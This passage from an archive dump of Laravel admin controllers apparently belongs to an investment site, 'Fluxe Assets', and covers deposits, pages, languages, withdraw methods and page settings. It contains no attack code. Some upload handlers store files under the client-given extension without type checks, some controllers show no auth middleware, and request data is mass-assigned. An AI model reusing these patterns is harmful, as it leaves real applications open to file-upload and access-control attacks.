App\Http\Controllers\Admin; use App\Classes\GeniusMailer; use App\Http\Controllers\Controller; use App\Models\Currency; use App\Models\Deposit; use App\Models\Generalsetting; use App\Models\Transaction; use App\Models\User; use Illuminate\Http\Request; use Datatables; use PHPMailer\PHPMailer\PHPMailer; use PHPMailer\PHPMailer\Exception; class DepositController extends Controller { public function datatables() { $datas = Deposit::orderBy('id','desc'); return Datatables::of($datas) ->editColumn('created_at', function(Deposit $data) { $date = date('d-m-Y',strtotime($data->created_at)); return $date; }) ->addColumn('customer_name',function(Deposit $data){ $data = User::where('id',$data->user_id)->first(); return $data->name; }) ->addColumn('customer_email',function(Deposit $data){ $data = User::where('id',$data->user_id)->first(); return $data->email; }) ->editColumn('amount', function(Deposit $data) { return showAdminAmount($data->amount); }) ->editColumn('status', function(Deposit $data) { if($data->status == 'pending'){ $status = __('pending'); $status_sign = 'warning'; }elseif($data->status == 'complete'){ $status = __('completed'); $status_sign = 'success'; }else{ $status = __('rejected'); $status_sign = 'danger'; } return '<div class="btn-group mb-1"> <button type="button" class="btn btn-'.$status_sign.' btn-sm btn-rounded dropdown-toggle" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> '.$status .' </button> <div class="dropdown-menu" x-placement="bottom-start"> <a href="javascript:;" data-toggle="modal" data-target="#statusModal" class="dropdown-item" data-href="'. route('admin.deposits.status',['id1' => $data->id, 'id2' => 'pending']).'">'.__("Pending").'</a> <a href="javascript:;" data-toggle="modal" data-target="#statusModal" class="dropdown-item" data-href="'. route('admin.deposits.status',['id1' => $data->id, 'id2' => 'reject']).'">'.__("Reject").'</a> <a href="javascript:;" data-toggle="modal" data-target="#statusModal" class="dropdown-item" data-href="'. route('admin.deposits.status',['id1' => $data->id, 'id2' => 'complete']).'">'.__("Completed").'</a> </div> </div>'; }) ->addColumn('action', function(Deposit $data) { return '<div class="btn-group mb-1"> <button type="button" class="btn btn-primary btn-sm btn-rounded dropdown-toggle" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> '.'Actions' .' </button> <div class="dropdown-menu" x-placement="bottom-start"> <a href="javascript:;" data-href="' . route('admin.deposit.show',$data->id) . '" class="dropdown-item" id="applicationDetails" data-toggle="modal" data-target="#details">'.__("Details").'</a> </div> </div>'; }) ->rawColumns(['created_at','customer_name','customer_email','amount','status','action']) ->toJson(); } public function index(){ return view('admin.deposit.index'); } public function depositdetails($id) { $deposit = Deposit::findOrFail($id); return view('admin.deposit.details',compact('deposit')); } public function status($id1,$id2){ $data = Deposit::findOrFail($id1); $user = User::findOrFail($data->user_id); if($data->status == 'complete'){ $msg = 'Deposit already completed-A'; return response()->json($msg); } if($data->status == 'reject'){ $msg = 'Deposit already rejected'; return response()->json($msg); } if($id2 == 'pending'){ $msg = 'Deposit updated successfully'; return response()->json($msg); } if($id2 == 'reject'){ $data->update(['status' => $id2]); $trans = new Transaction(); $trans->email = $user->email; $trans->amount = $data->amount; $trans->type = "Deposit Reject"; $trans->profit = "minus"; $trans->txnid = $data->deposit_number; $trans->user_id = $user->id; $trans->save(); $msg = 'Deposit rejected successfully'; return response()->json($msg); } $data->update(['status' => $id2]); $user->balance += $data->amount; $user->save(); $trans = new Transaction(); $trans->email = $user->email; $trans->amount = $data->amount; $trans->type = "Deposit"; $trans->profit = "plus"; $trans->txnid = $data->deposit_number; $trans->user_id = $user->id; $trans->save(); $data->update(['status' => $id2]); if($data->status == 'complete'){ $gs = Generalsetting::findOrFail(1); $subject = 'Deposit Confirmed'; $msg = '<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Deposit Confirmed</title> <style> body { margin: 0; padding: 0; font-family: "Arial", sans-serif; background-color: #f7f7f7; } .email-wrapper { width: 100%; background-color: #f7f7f7; padding: 20px 0; } .email-content { width: 100%; max-width: 600px; background-color: #ffffff; border-radius: 8px; margin: 0 auto; box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1); } .email-header { background-color: #003366; padding: 20px; text-align: center; border-radius: 8px 8px 0 0; } .email-header img { max-width: 200px; } .email-header span { font-size: 18px; font-weight: 600; color: #00BFFF; display: block; margin-top: 10px; } .email-body { padding: 16px 30px; font-size: 16px; line-height: 1.5; color: #333; } .email-body h3 { color: #003366; margin-bottom: 15px; } .email-body p { margin-bottom: 20px; } .email-button { display: inline-block; background-color: #003366; color: #ffffff !important; padding: 6px 12px; font-size: 16px; border-radius: 5px; text-decoration: none; } .email-footer { background-color: #1f1f1f; color: #ffffff; text-align: center; padding: 12px; border-radius: 0 0 8px 8px; font-size: 14px; } .email-footer a { color: #00BFFF; text-decoration: none; } </style> </head> <body> <div class="email-wrapper"> <div class="email-content"> <div class="email-header"> <img src="https://fluxeassets.com/imgx/etemp.png" alt="Fluxe Assets Logo"> <span>Guiding You Toward Financial Growth</span> </div> <div class="email-body"> <p>Dear <strong>'.$user->name.'</strong>,</p> <p>We are pleased to inform you that your deposit has been successfully received and credited to your account with <strong>Fluxe Assets</strong>.</p> <p>Your funds are now available and awaiting allocation to an investment PLAN of your choice.</p> <p>To proceed, please log in to your account to select a suitable PLAN. If you need assistance, feel free to <a href="https://fluxeassets.com/contact" style="color: #0073e6; text-decoration: none;" target="_blank">contact us</a>.</p> <p>Thank you for choosing <strong>Fluxe Assets</strong>.</p> <p style="margin-top: 30px;">Best regards,<br>The Fluxe Assets Team</p> </div> <div class="email-footer"> <p>Copyright © 2025 <a href="https://fluxeassets.com">Fluxe Assets</a>. All rights reserved.</p> </div> </div> </div> </body> </html>'; if($gs->is_smtp == 1) { /* $data = [ 'to' => $user->email, 'type' => "Deposit", 'cname' => $user->name, 'oamount' => $data->amount, 'aname' => "", 'aemail' => "", 'wtitle' => "", ]; $mailer = new GeniusMailer(); $mailer->sendAutoMail($data); */ $mail = new PHPMailer(true); try { // SMTP settings $mail->isSMTP(); $mail->Host = $gs->smtp_host; $mail->SMTPAuth = true; $mail->Username = $gs->smtp_user; $mail->Password = $gs->smtp_pass; $mail->SMTPSecure = $gs->smtp_encryption; // 'tls' or 'ssl' $mail->Port = $gs->smtp_port; $mail->CharSet = 'UTF-8'; // Recipients $mail->setFrom($gs->from_email, $gs->from_name); $mail->addAddress($user->email, $user->name); // Content $mail->isHTML(true); $mail->Subject = $subject; $mail->Body = $msg; $mail->send(); } catch (Exception $e) { return response()->json('Email could not be sent. Error: ' . $mail->ErrorInfo); } } else { $to = $user->email; $subject = " You have deposited successfully."; $msg = "Hello ".$user->name."!\nYou have invested successfully.\nThank you."; $headers = "From: ".$gs->from_name."<".$gs->from_email.">"; mail($to,$subject,$msg,$headers); } } $msg = 'Data Updated Successfully.'; return response()->json($msg); } } Controllers/Admin/PageController.php 0000644 00000012646 15111246736 0013552 0 ustar 00 <?php namespace App\Http\Controllers\Admin; use Datatables; use App\Models\Page; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use Purifier; use Validator; class PageController extends Controller { public function __construct() { $this->middleware('auth:admin'); } public function datatables() { $datas = Page::orderBy('id','desc'); return Datatables::of($datas) ->editColumn('status', function(Page $data) { $status = $data->status == 1 ? __('Activated') : __('Deativated'); $status_sign = $data->status == 1 ? 'success' : 'danger'; return '<div class="btn-group mb-1"> <button type="button" class="btn btn-'.$status_sign.' btn-sm btn-rounded dropdown-toggle" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> '.$status .' </button> <div class="dropdown-menu" x-placement="bottom-start"> <a href="javascript:;" data-toggle="modal" data-target="#statusModal" class="dropdown-item" data-href="'. route('admin.page.status',['id1' => $data->id, 'id2' => 1]).'">'.__("Active").'</a> <a href="javascript:;" data-toggle="modal" data-target="#statusModal" class="dropdown-item" data-href="'. route('admin.page.status',['id1' => $data->id, 'id2' => 0]).'">'.__("Deativate").'</a> </div> </div>'; }) ->addColumn('action', function(Page $data) { return '<div class="btn-group mb-1"> <button type="button" class="btn btn-primary btn-sm btn-rounded dropdown-toggle" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> '.'Actions' .' </button> <div class="dropdown-menu" x-placement="bottom-start"> <a href="' . route('admin.page.edit',$data->id) . '" class="dropdown-item">'.__("Edit").'</a> <a href="javascript:;" data-toggle="modal" data-target="#deleteModal" class="dropdown-item" data-href="'. route('admin.page.delete',$data->id).'">'.__("Delete").'</a> </div> </div>'; }) ->rawColumns(['status','action']) ->toJson(); } public function index() { return view('admin.page.index'); } public function create() { return view('admin.page.create'); } public function store(Request $request) { $slug = $request->slug; $main = array('home','faq','contact','blog','cart','checkout'); if (in_array($slug, $main)) { return response()->json(array('errors' => [ 0 => 'This slug has already been taken.' ])); } $rules = ['slug' => 'unique:pages']; $customs = ['slug.unique' => 'This slug has already been taken.']; $validator = Validator::make($request->all(), $rules, $customs); if ($validator->fails()) { return response()->json(array('errors' => $validator->getMessageBag()->toArray())); } $data = new Page(); $input = $request->all(); $common_rep = ["value", "{", "}", "[","]",":","\""]; $metatag = str_replace($common_rep, '', $request->meta_tag); if ($metatag) { $input['meta_tag'] = $metatag; } if ($request->secheck == "") { $input['meta_tag'] = null; $input['meta_description'] = null; } $input['details'] = Purifier::clean($request->details); $data->fill($input)->save(); $msg = 'New Data Added Successfully.'.'<a href="'.route("admin.page.index").'">View Page Lists</a>'; return response()->json($msg); } public function edit($id) { $data = Page::findOrFail($id); return view('admin.page.edit',compact('data')); } public function update(Request $request, $id) { $data = Page::findOrFail($id); $input = $request->all(); $common_rep = ["value", "{", "}", "[","]",":","\""]; $metatag = str_replace($common_rep, '', $request->meta_tag); if ($metatag) { $input['meta_tag'] = $metatag; } else { $input['meta_tag'] = null; } if ($request->secheck == "") { $input['meta_tag'] = null; $input['meta_description'] = null; } $input['details'] = Purifier::clean($request->details); $data->update($input); $msg = 'Data Updated Successfully.'.'<a href="'.route("admin.page.index").'">View Page Lists</a>'; return response()->json($msg); } public function status($id1,$id2) { $data = Page::findOrFail($id1); $data->status = $id2; $data->update(); $mgs = __('Data Update Successfully.'); return response()->json($mgs); } public function destroy($id) { $data = Page::findOrFail($id); $data->delete(); //--- Redirect Section $msg = 'Data Deleted Successfully.'; return response()->json($msg); //--- Redirect Section Ends } } Controllers/Admin/TransactionController.php 0000644 00000001663 15111246736 0015160 0 ustar 00 <?php namespace App\Http\Controllers\Admin; use App\Http\Controllers\Controller; use App\Models\Generalsetting; use App\Models\Transaction; use Illuminate\Http\Request; use Datatables; class TransactionController extends Controller { public function datatables() { $datas = Transaction::orderBy('id','desc')->get(); return Datatables::of($datas) ->editColumn('amount', function(Transaction $data) { return showAdminAmount($data->amount); }) ->editColumn('created_at', function(Transaction $data) { $date = date('d-m-Y',strtotime($data->created_at)); return $date; }) ->rawColumns(['']) ->toJson(); } public function index(){ return view('admin.transaction.index'); } } Controllers/Admin/CounterController.php 0000644 00000010421 15111246736 0014302 0 ustar 00 <?php namespace App\Http\Controllers\Admin; use App\Http\Controllers\Controller; use Illuminate\Support\Str; use App\Models\Counter; use Validator; use Datatables; use Illuminate\Http\Request; class CounterController extends Controller { public function __construct() { $this->middleware('auth:admin'); } public function datatables() { $datas = Counter::orderBy('id','desc')->get(); return Datatables::of($datas) ->editColumn('count', function(Counter $data){ if($data->is_money == 1){ $count = '$ '.$data->count; }else{ $count = $data->count; } return $count; }) ->addColumn('action', function(Counter $data) { return '<div class="btn-group mb-1"> <button type="button" class="btn btn-primary btn-sm btn-rounded dropdown-toggle" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> '.'Actions' .' </button> <div class="dropdown-menu" x-placement="bottom-start"> <a href="' . route('admin.counter.edit',$data->id) . '" class="dropdown-item">'.__("Edit").'</a> <a href="javascript:;" data-toggle="modal" data-target="#deleteModal" class="dropdown-item" data-href="'. route('admin.counter.delete',$data->id).'">'.__("Delete").'</a> </div> </div>'; }) ->rawColumns(['count', 'action']) ->toJson(); } public function index() { return view('admin.counter.index'); } public function create() { return view('admin.counter.create'); } public function store(Request $request) { $rules = [ 'photo' => 'required|mimes:jpeg,bmp,png,gif', ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return response()->json(array('errors' => $validator->getMessageBag()->toArray())); } $data = new Counter(); $input = $request->all(); if ($file = $request->file('photo')) { $name = Str::random(8).time().'.'.$file->getClientOriginalExtension(); $file->move('assets/images',$name); $input['photo'] = $name; } if($request->is_money){ $input['is_money'] = 1; } $data->fill($input)->save(); $msg = 'New Data Added Successfully.'.'<a href="'.route("admin.counter.index").'">View Counter Lists</a>'; return response()->json($msg); } public function edit($id) { $data = Counter::findOrFail($id); return view('admin.counter.edit',compact('data')); } public function update(Request $request, $id) { $rules = [ 'photo' => 'mimes:jpeg,bmp,png,gif', ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return response()->json(array('errors' => $validator->getMessageBag()->toArray())); } $data = Counter::findOrFail($id); $input = $request->all(); if ($file = $request->file('photo')) { $name = Str::random(8).time().'.'.$file->getClientOriginalExtension(); $file->move('assets/images',$name); @unlink('assets/images'.$data->photo); $input['photo'] = $name; } if($request->is_money){ $input['is_money'] = 1; }else{ $input['is_money'] = 0; } $data->update($input); $msg = 'Data Updated Successfully.'.'<a href="'.route("admin.counter.index").'">View Counter Lists</a>'; return response()->json($msg); } public function destroy($id) { $data = Counter::findOrFail($id); $data->delete(); $msg = 'Data Deleted Successfully.'; return response()->json($msg); } } Controllers/Admin/LanguageController.php 0000644 00000014437 15111246736 0014421 0 ustar 00 <?php namespace App\Http\Controllers\Admin; use Datatables; use App\Models\Language; use Illuminate\Http\Request; use Illuminate\Support\Str; use App\Http\Controllers\Controller; use Illuminate\Support\Facades\File; use Illuminate\Support\Facades\Validator; class LanguageController extends Controller { public function __construct() { $this->middleware('auth:admin'); } //*** JSON Request public function datatables() { $datas = Language::orderBy('id','desc'); //--- Integrating This Collection Into Datatables return Datatables::of($datas) ->addColumn('action', function(Language $data) { $delete = $data->id == 1 ? '':'<a href="javascript:;" data-href="' . route('admin.lang.delete',$data->id) . '" data-toggle="modal" data-target="#deleteModal" class="dropdown-item">'.__("Delete").'</a>'; $default = $data->is_default == 1 ? '<a href="javascript:;" class="dropdown-item">'.__("Default").'</a>' : '<a class="status dropdown-item" href="javascript:;" data-href="' . route('admin.lang.st',['id1'=>$data->id,'id2'=>1]) . '">'.__('Set Default').'</a>'; return '<div class="btn-group mb-1"> <button type="button" class="btn btn-primary btn-sm btn-rounded dropdown-toggle" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> '.'Actions' .' </button> <div class="dropdown-menu" x-placement="bottom-start"> <a href="' . route('admin.lang.edit',$data->id) . '" class="dropdown-item">'.__("Edit").'</a>'.$delete.$default.' </div> </div>'; }) ->rawColumns(['action']) ->toJson(); //--- Returning Json Data To Client Side } //*** GET Request public function index() { return view('admin.language.index'); } //*** GET Request public function create() { $data_results = file_get_contents(resource_path().'/lang/'.'default.json'); $lang = json_decode($data_results, true); return view('admin.language.create',compact('lang')); } //*** POST Request public function store(Request $request) { //--- Validation Section $rules = [ 'language'=>'required|unique:languages|max:255' ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return response()->json(array('errors' => $validator->getMessageBag()->toArray())); } //--- Validation Section Ends //--- Logic Section $new = null; $input = $request->all(); $data = new Language(); $data->language = $input['language']; $name = time().Str::random(8); $data->name = $name; $data->file = $name.'.json'; $data->rtl = $input['rtl']; $isExist = Language::where('is_default',1)->exists(); if(!$isExist){ $data->is_default = 1; } $data->save(); unset($input['_token']); unset($input['language']); $keys = $request->keys; $values = $request->values; foreach(array_combine($keys,$values) as $key => $value) { $n = str_replace("_"," ",$key); $new[$n] = $value; } $mydata = json_encode($new); file_put_contents(resource_path().'/lang/'.$data->file, $mydata); //--- Logic Section Ends //--- Redirect Section $msg = 'New Data Added Successfully.'.' '.'<a href="'.route('admin.lang.index').'"> '.__('View Lists.').'</a>'; return response()->json($msg); //--- Redirect Section Ends } //*** GET Request public function edit($id) { $data = Language::findOrFail($id); $data_results = file_get_contents(resource_path().'/lang/'.$data->file); $lang = json_decode($data_results, true); return view('admin.language.edit',compact('data','lang')); } //*** POST Request public function update(Request $request, $id) { $rules = [ 'language' => 'required|unique:languages,language,'.$id, ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return response()->json(array('errors' => $validator->getMessageBag()->toArray())); } //--- Logic Section $new = null; $input = $request->all(); $data = Language::findOrFail($id); $data->update(); unset($input['_token']); unset($input['language']); $keys = $request->keys; $values = $request->values; foreach(array_combine($keys,$values) as $key => $value) { $n = str_replace("_"," ",$key); $new[$n] = $value; } $mydata = json_encode($new); file_put_contents(resource_path().'/lang/'.$data->file, $mydata); $msg = 'Data Updated Successfully.'.' '.'<a href="'.route('admin.lang.index').'"> '.__('View Lists.').'</a>'; return response()->json($msg); //--- Redirect Section Ends } public function status($id1,$id2) { $data = Language::findOrFail($id1); $data->is_default = $id2; $data->update(); $data = Language::where('id','!=',$id1)->update(['is_default' => 0]); //--- Redirect Section $msg = 'Data Updated Successfully.'; return response()->json($msg); //--- Redirect Section Ends } //*** GET Request Delete public function destroy($id) { if($id == 1) { return "You don't have access to remove this language"; } $data = Language::findOrFail($id); if($data->is_default == 1) { return "You can not remove default language."; } @unlink(resource_path().'/lang/'.$data->file); $data->delete(); //--- Redirect Section $msg = 'Data Deleted Successfully.'; return response()->json($msg); //--- Redirect Section Ends } } Controllers/Admin/ReferralController.php 0000644 00000001560 15111246736 0014431 0 ustar 00 <?php namespace App\Http\Controllers\Admin; use App\Http\Controllers\Controller; use Illuminate\Http\Request; use App\Models\Referral; class ReferralController extends Controller { public function __construct() { $this->middleware('auth:admin'); } public function index(){ $data['referrals'] = Referral::get(); return view('admin.referral.index',$data); } public function store(Request $request){ Referral::where('commission_type','invest')->delete(); for($i=0; $i<count($request->level); $i++){ $data = new Referral(); $data->commission_type = 'invest'; $data->level = $request->level[$i]; $data->percent = $request->percent[$i]; $data->save(); } return back()->with('success', 'Referral Level Updated For Invest'); } } Controllers/Admin/WithdrawMethodController.php 0000644 00000011251 15111246736 0015617 0 ustar 00 <?php namespace App\Http\Controllers\Admin; use App\Http\Controllers\Controller; use App\Models\Currency; use App\Models\WithdrawMethod; use Illuminate\Http\Request; use Validator; use Datatables; use Illuminate\Support\Str; class WithdrawMethodController extends Controller { public function __construct() { $this->middleware('auth:admin'); } public function datatables() { $datas = WithdrawMethod::orderBy('id','desc'); return Datatables::of($datas) ->editColumn('photo', function(WithdrawMethod $data) { $photo = $data->photo ? url('assets/images/'.$data->photo):url('assets/images/noimage.png'); return '<img src="' . $photo . '" alt="Image">'; }) ->editColumn('status', function(WithdrawMethod $data) { return $data->status == 1 ? '<span class="badge badge-success">active</span>' : '<span class="badge badge-danger">deactived</span>'; }) ->addColumn('action', function(WithdrawMethod $data) { return '<div class="btn-group mb-1"> <button type="button" class="btn btn-primary btn-sm btn-rounded dropdown-toggle" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> '.'Actions' .' </button> <div class="dropdown-menu" x-placement="bottom-start"> <a href="' . route('admin.withdraw.method.edit',$data->id) . '" class="dropdown-item">'.__("Edit").'</a> <a href="javascript:;" data-toggle="modal" data-target="#deleteModal" class="dropdown-item" data-href="'. route('admin.withdraw.method.delete',$data->id).'">'.__("Delete").'</a> </div> </div>'; }) ->rawColumns(['photo','action','status']) ->toJson(); } public function index() { return view('admin.withdrawmethod.index'); } public function create(){ $data['currencies'] = Currency::orderBy('id','desc')->get(); return view('admin.withdrawmethod.create',$data); } public function store(Request $request){ $rules = [ 'name'=> 'required', 'min_amount'=> 'required|gt:0', 'max_amount'=> 'required|gt:0', 'fixed'=> 'required', 'percentage'=> 'required', 'status'=> 'required', ]; $validator = Validator::make($request->all(), $rules); if($validator->fails()){ return response()->json(['errors'=>$validator->getMessageBag()->toArray()]); } $data = new WithdrawMethod(); $input = $request->all(); if ($file = $request->file('photo')) { $name = Str::random(8).time().'.'.$file->getClientOriginalExtension(); $file->move('assets/images',$name); $input['photo'] = $name; } $data->fill($input)->save(); return response()->json('Data Added Successfully'); } public function edit($id){ $data['data'] = WithdrawMethod::findOrFail($id); $data['currencies'] = Currency::orderBy('id','desc')->get(); return view('admin.withdrawmethod.edit',$data); } public function update(Request $request,$id){ $rules = [ 'name'=> 'required', 'min_amount'=> 'required|gt:0', 'max_amount'=> 'required|gt:0', 'fixed'=> 'required', 'percentage'=> 'required', 'status'=> 'required', ]; $validator = Validator::make($request->all(), $rules); if($validator->fails()){ return response()->json(['errors'=>$validator->getMessageBag()->toArray()]); } $data = WithdrawMethod::findOrFail($id); $input = $request->all(); if ($file = $request->file('photo')) { $name = Str::random(8).time().'.'.$file->getClientOriginalExtension(); $file->move('assets/images',$name); @unlink('assets/images/'.$data->photo); $input['photo'] = $name; } $data->update($input); return response()->json('Data Updated Successfully'); } public function destroy($id){ $data = WithdrawMethod::findOrFail($id); @unlink('assets/images/'.$data->photo); $data->delete(); return response()->json('Data Deleted Successfully'); } } Controllers/Admin/BonusController.php 0000644 00000001612 15111246736 0013753 0 ustar 00 <?php namespace App\Http\Controllers\Admin; use App\Http\Controllers\Controller; use App\Models\RegisterBonus; use Illuminate\Http\Request; use Illuminate\Support\Facades\Validator; class BonusController extends Controller { public function index() { $curr = defaultCurr(); return view('admin.user.bonus',compact('curr')); } public function update(Request $request){ $rules = [ 'bonus' => 'required', 'status'=>'required' ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return response()->json(array('errors' => $validator->getMessageBag()->toArray())); } $bonus= RegisterBonus::first(); $data = $request->all(); $bonus->update($data); $msg = 'Bonus Updated Successfully.'; return response()->json($msg); } } Controllers/Admin/PageSettingController.php 0000644 00000020063 15111246736 0015100 0 ustar 00 <?php namespace App\Http\Controllers\Admin; use App\Models\Pagesetting; use Illuminate\Http\Request; use Illuminate\Support\Facades\Session; use App\Http\Controllers\Controller; use App\Models\HomepageSetting; use Illuminate\Support\Facades\Validator as FacadesValidator; use Illuminate\Support\Str; use Validator; use Purifier; class PageSettingController extends Controller { public function __construct() { $this->middleware('auth:admin'); } public function update(Request $request) { $data = Pagesetting::findOrFail(1); $input = $request->all(); if ($file = $request->file('brand_photo')) { $name = Str::random(8).time().'.'.$file->getClientOriginalExtension(); $file->move('assets/images',$name); @unlink('assets/images/'.$data->brand_photo); $input['brand_photo'] = $name; } if ($file = $request->file('about_photo')) { $name = Str::random(8).time().'.'.$file->getClientOriginalExtension(); $file->move('assets/images',$name); @unlink('assets/images/'.$data->about_photo); $input['about_photo'] = $name; } if ($file = $request->file('start_photo')) { $name = Str::random(8).time().'.'.$file->getClientOriginalExtension(); $file->move('assets/images',$name); @unlink('assets/images/'.$data->start_photo); $input['start_photo'] = $name; } if ($file = $request->file('hero_photo')) { $name = Str::random(8).time().'.'.$file->getClientOriginalExtension(); $file->move('assets/images',$name); @unlink('assets/images/'.$data->hero_photo); $input['hero_photo'] = $name; } if ($file = $request->file('login_banner')) { $name = Str::random(8).time().'.'.$file->getClientOriginalExtension(); $file->move('assets/images',$name); @unlink('assets/images/'.$data->login_banner); $input['login_banner'] = $name; } if ($file = $request->file('profit_banner')) { $name = Str::random(8).time().'.'.$file->getClientOriginalExtension(); $file->move('assets/images',$name); @unlink('assets/images/'.$data->profit_banner); $input['profit_banner'] = $name; } if($request->referral_percentage){ $input['referral_percentage'] = json_encode($request->referral_percentage,true); } if($request->about_text){ $input['about_text'] = Purifier::clean($request->about_text); } if($request->about_details){ $input['about_details'] = Purifier::clean($request->about_details); } if($request->profit_text){ $input['profit_text'] = Purifier::clean($request->profit_text); } if($request->referral_text){ $input['referral_text'] = Purifier::clean($request->referral_text); } if($request->plan_subtitle){ $input['plan_subtitle'] = Purifier::clean($request->plan_subtitle); } if($request->start_text){ $input['start_text'] = Purifier::clean($request->start_text); } if($request->referral_text){ $input['referral_text'] = Purifier::clean($request->referral_text); } if($request->team_text){ $input['team_text'] = Purifier::clean($request->team_text); } if($request->blog_text){ $input['blog_text'] = Purifier::clean($request->blog_text); } if($request->feature_text){ $input['feature_text'] = Purifier::clean($request->feature_text); } if($request->login_subtitle){ $input['login_subtitle'] = Purifier::clean($request->login_subtitle); } if($request->brand_text){ $input['brand_text'] = Purifier::clean($request->brand_text); } $data->update($input); $msg = 'Data Updated Successfully.'; return response()->json($msg); } public function homeupdate(Request $request) { $data = Pagesetting::findOrFail(1); $input = $request->all(); $data->update($input); $msg = 'Data Updated Successfully.'; return response()->json($msg); } public function customization(){ $data = Pagesetting::find(1); return view('admin.pagesetting.customization',compact('data')); } public function customizationUpdate(Request $request){ $data = Pagesetting::find(1); if($request->home_module){ $input['home_module'] = json_encode($request->home_module,true); }else{ $input['home_module'] = NULL; } $data->update($input); if($request->ajax()){ $msg = 'Data Updated Successfully.'; return response()->json($msg); }else{ return back()->withSuccess('Data Updated Successfully.'); } } public function hero(){ $data = Pagesetting::find(1); return view('admin.pagesetting.hero_section',compact('data')); } public function about(){ $data = Pagesetting::find(1); return view('admin.pagesetting.about_section',compact('data')); } public function referral(){ $data = Pagesetting::find(1); if($data->referral_percentage){ $referral = count(json_decode($data->referral_percentage,true)); $referralCount = $referral + 1; }else{ $referralCount = 1; } return view('admin.pagesetting.referral_section',compact('data','referralCount')); } public function profit(){ $data = Pagesetting::find(1); return view('admin.pagesetting.profit_section',compact('data')); } public function calltoaction(){ $data = Pagesetting::find(1); return view('admin.pagesetting.call_section',compact('data')); } public function contact() { $data = Pagesetting::find(1); return view('admin.pagesetting.contact',compact('data')); } public function sectionHeading(){ $data = Pagesetting::find(1); return view('admin.pagesetting.sectionheading',compact('data')); } public function loginpage(){ $data = Pagesetting::find(1); return view('admin.pagesetting.loginpage',compact('data')); } public function customize() { $data = Pagesetting::find(1); return view('admin.pagesetting.customize',compact('data')); } public function blogsection() { $ps = HomepageSetting::findOrFail(1); return view('admin.pagesetting.blog_section',compact('ps')); } public function faqupdate($status) { $page = Pagesetting::findOrFail(1); $page->f_status = $status; $page->update(); Session::flash('success', 'FAQ Status Upated Successfully.'); return redirect()->back(); } public function contactup($status) { $page = Pagesetting::findOrFail(1); $page->c_status = $status; $page->update(); Session::flash('success', 'Contact Status Upated Successfully.'); return redirect()->back(); } public function contactupdate(Request $request) { $page = Pagesetting::findOrFail(1); $input = $request->all(); $page->update($input); $msg = 'Data Updated Successfully.'; return response()->json($msg); } } Controllers/Admin/BrandController.php 0000644 00000010257 15111246736 0013720 0 ustar 00 <?php namespace App\Http\Controllers\Admin; use App\Http\Controllers\Controller; use App\Models\Brand; use App\Models\Pagesetting; use Illuminate\Http\Request; use Datatables; use Illuminate\Support\Facades\Validator; use Illuminate\Support\Str; class BrandController extends Controller { public function __construct() { $this->middleware('auth:admin'); } public function datatables() { $datas = Brand::orderBy('id','desc')->get(); return Datatables::of($datas) ->editColumn('photo', function(Brand $data) { $photo = $data->photo ? url('assets/images/'.$data->photo):url('assets/images/noimage.png'); return '<img src="' . $photo . '" alt="Image">'; }) ->addColumn('action', function(Brand $data) { return '<div class="btn-group mb-1"> <button type="button" class="btn btn-primary btn-sm btn-rounded dropdown-toggle" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> '.'Actions' .' </button> <div class="dropdown-menu" x-placement="bottom-start"> <a href="' . route('admin.brands.edit',$data->id) . '" class="dropdown-item">'.__("Edit").'</a> <a href="javascript:;" data-toggle="modal" data-target="#deleteModal" class="dropdown-item" data-href="'. route('admin.brands.delete',$data->id).'">'.__("Delete").'</a> </div> </div>'; }) ->rawColumns(['photo', 'action']) ->toJson(); } public function index() { $data = Pagesetting::first(); return view('admin.brands.index',compact('data')); } public function create() { return view('admin.brands.create'); } public function store(Request $request) { $rules = [ 'photo' => 'required|mimes:jpeg,jpg,png,svg', ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return response()->json(array('errors' => $validator->getMessageBag()->toArray())); } $data = new Brand(); $input = $request->all(); if ($file = $request->file('photo')) { $name = Str::random(8).time().'.'.$file->getClientOriginalExtension(); $file->move('assets/images',$name); $input['photo'] = $name; } $data->fill($input)->save(); $msg = 'New Data Added Successfully.'.' '.'<a href="'.route('admin.brands.index').'"> '.__('View Lists.').'</a>'; return response()->json($msg); } public function edit($id) { $data = Brand::findOrFail($id); return view('admin.brands.edit',compact('data')); } public function update(Request $request, $id) { $rules = [ 'photo' => 'mimes:jpeg,jpg,png,svg', ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return response()->json(array('errors' => $validator->getMessageBag()->toArray())); } $data = Brand::findOrFail($id); $input = $request->all(); if ($file = $request->file('photo')) { $name = Str::random(8).time().'.'.$file->getClientOriginalExtension(); $file->move('assets/images',$name); @unlink('assets/images'.$data->photo); $input['photo'] = $name; } $data->update($input); $msg = 'Data Updated Successfully.'.' '.'<a href="'.route('admin.brands.index').'"> '.__('View Lists.').'</a>'; return response()->json($msg); } public function destroy($id) { $data = Brand::findOrFail($id); @unlink('assets/images'.$data->photo); $data->delete(); $msg = 'Data Deleted Successfully.'; return response()->json($msg); } } Controllers/Admin/ServiceController.php 0000644 00000010456 15111246736 0014273 0 ustar 00 <?php namespace App\Http\Controllers\Admin; use App\Http\Controllers\Controller; use App\Models\Service; use Illuminate\Http\Request; use Datatables; use Validator; class ServiceController extends Controller { public function __construct() { $this->middleware('auth:admin'); } public function datatables() { $datas = Service::orderBy('id','desc')->get(); return Datatables::of($datas) ->editColumn('photo', function(Service $data) { $photo = $data->photo ? url('assets/images/'.$data->photo):url('assets/images/noimage.png'); return '<img src="' . $photo . '" alt="Image">'; }) ->editColumn('title', function(Service $data) { $title = strlen(strip_tags($data->title)) > 250 ? substr(strip_tags($data->title),0,250).'...' : strip_tags($data->title); return $title; }) ->addColumn('action', function(Service $data) { return '<div class="btn-group mb-1"> <button 